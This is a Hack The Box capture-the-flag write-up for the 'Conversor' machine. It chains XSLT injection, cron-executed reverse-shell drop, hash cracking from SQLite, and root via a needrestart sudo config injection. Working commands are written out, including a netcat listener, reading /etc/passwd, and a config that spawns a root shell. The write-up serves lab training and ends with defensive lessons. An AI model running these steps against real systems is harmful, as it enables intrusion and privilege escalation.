Hack The Box Web Privesc Easy

Conversor

XSLT injection via an exposed transformation service, cron job abuse for RCE as www-data, credential harvesting from SQLite, and privilege escalation through a misconfigured needrestart sudo rule.

PlatformHack The Box
DifficultyEasy
CategoryWeb / Privesc
ToolsNmap · Python · SQLite · Crackstation
01

Network Reconnaissance

Start with a full port scan to know exactly what's exposed before touching any web surface.

shell
nmap -sS -sV -p- <TARGET_IP>
terminalnmap results
Nmap scan showing ports 22 and 80 open
Two open ports — SSH on 22, HTTP on 80. Web application is the only attack surface.
22
SSH
potential creds lateral move
80
HTTP
primary attack surface
Assessment: Minimal surface. Everything goes through the web app on port 80. Start there.
02

Web Application Analysis

After registering an account, the application reveals its core feature: an XML/XSLT transformation service that converts uploaded XML and XSLT files into formatted output.

browserconverter interface
XML/XSLT converter web application interface
The converter accepts XML and XSLT file uploads. XSLT processing without proper sanitization is a known RCE vector.
browsersource code download
Application source code available for download — Flask Python app
Source code is publicly downloadable. Flask app. This dramatically speeds up identifying attack vectors.
Key finding: Source code access means we can read the exact processing logic before crafting any payload. Always download if it's available.
03

Source Code Review

editorcron job + user context
Source showing www-data context and cron job executing all .py files in current directory
Two critical findings in the source: app runs as www-data, and a cron job automatically executes all .py files in the working directory.

Reading the Flask source reveals the full picture:

A
www-data context. The web process runs as www-data — all file writes happen as this user.
B
Cron executes .py files. A cron job automatically runs every Python file in the current directory. If we can write a .py file there, it gets executed automatically.
C
XML input is sanitized. The XML parser has proper validation — that input is not the vector.
D
XSLT processing is not sanitized. The XSLT input is passed to the processor without restrictions — XSLT injection is in play.
Attack path: Craft a malicious XSLT that writes a Python reverse shell to the working directory → cron picks it up → shell as www-data.
04

XSLT Injection → File Write

XSLT is a full programming language. When the processor isn't sandboxed, it can access the filesystem, make network requests, and execute system commands. Payloads from PayloadsAllTheThings cover the major processor variants.

Step 1 — Legitimate XML (passes validation)

xml
<?xml version="1.0" encoding="UTF-8"?> <root> <data>test</data> </root>
browserstep 1 — xml upload
Uploading legitimate XML file to pass input validation
Clean XML passes server-side validation. Now the XSLT payload does the actual work.

Step 2 — Malicious XSLT (writes Python reverse shell)

editorstep 2 — xslt payload
Malicious XSLT file that writes a Python reverse shell to the working directory
XSLT uses the processor's file write capability to drop a Python reverse shell in the working directory where the cron job will pick it up.

Step 3 — Cron executes the dropped file

attacker — nc listener
nc -lvnp 4444 # Waiting for cron to execute the dropped .py file... Connection received from TARGET_IP www-data@conversor:~$
Initial access: www-data shell obtained via XSLT injection + cron job abuse. No direct command execution needed — the cron did the work.
05

Post-Exploitation Enumeration

User enumeration

shell
cat /etc/passwd # Identified user: fismathack

Database discovery

terminalsqlite database found
find command locating SQLite database, sqlite3 query showing user credential hash
SQLite database found on the filesystem. Users table contains a password hash for fismathack.
shell
find / -name "*.db" 2>/dev/null sqlite3 database.db sqlite> SELECT * FROM users; # Hash for fismathack exposed
06

Hash Cracking → SSH Access

crackstation.nethash cracked
Crackstation successfully cracking the password hash for fismathack
Hash cracked via Crackstation. Password in plaintext — classic weak credential storage.
terminalssh login + user.txt
SSH login as fismathack with cracked password, cat user.txt shows flag
Cracked password works on SSH directly. user.txt captured.
shell
ssh fismathack@TARGET_IP # Password: [cracked] cat user.txt HTB{...}
Password reuse: DB hash → SSH password. Users reuse credentials across services. Always test cracked hashes against every accessible service.
07

Sudo Enumeration

terminalsudo -l
sudo -l showing fismathack can run /usr/sbin/needrestart as root NOPASSWD
fismathack can run needrestart as root with NOPASSWD. needrestart accepts a custom config file via -c — this is the escalation path.
shell
sudo -l # User fismathack may run: (root) NOPASSWD: /usr/sbin/needrestart
Finding: needrestart accepts a custom config file via -c. When that config runs as root, an exec directive in it becomes arbitrary code execution as root.
08

Privesc via needrestart — Config Injection

needrestart parses its configuration file and supports an exec directive. When run as root via sudo, it parses the config as root — making any exec directive run as root without further validation.

Create malicious config

shell
echo 'exec "/bin/sh","-p";' > /tmp/con.conf # -p preserves effective UID — shell won't drop to user level

Trigger via sudo

shell
sudo /usr/sbin/needrestart -c /tmp/con.conf
terminalneedrestart → root shell
sudo needrestart -c /tmp/con.conf spawning root shell, id confirms uid=0
needrestart parses the config as root, exec directive fires, root shell obtained. id confirms uid=0(root).
shell
id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt HTB{...}
Chain complete. Nmap → XSLT injection → cron RCE → SQLite creds → hash crack → SSH → sudo needrestart config injection → root. ✓ user.txt ✓ root.txt
09

Key Takeaways

01
Sanitize both XML and XSLT. The XML input was properly validated. The XSLT input wasn't. Both need sanitization — XSLT is the more dangerous of the two, as it's a full programming language.
02
Download and read the source code if it's available. Access to the Flask source immediately revealed the cron job, the user context, and which input was vulnerable. Don't skip this step.
03
Cron jobs that execute files in writable directories are dangerous. If a cron runs as a privileged user and touches a directory you can write to, that's code execution. Always check cron configurations post-exploitation.
04
Always test cracked hashes against SSH and other services. The DB hash worked directly on SSH. Users reuse passwords. One cracked hash can be the pivot to a full user shell.
05
sudo rules with config file flags are high-risk. needrestart's -c option accepting user-supplied configs defeats the entire purpose of the sudo restriction. Any utility that parses attacker-controlled config as root is essentially sudo shell.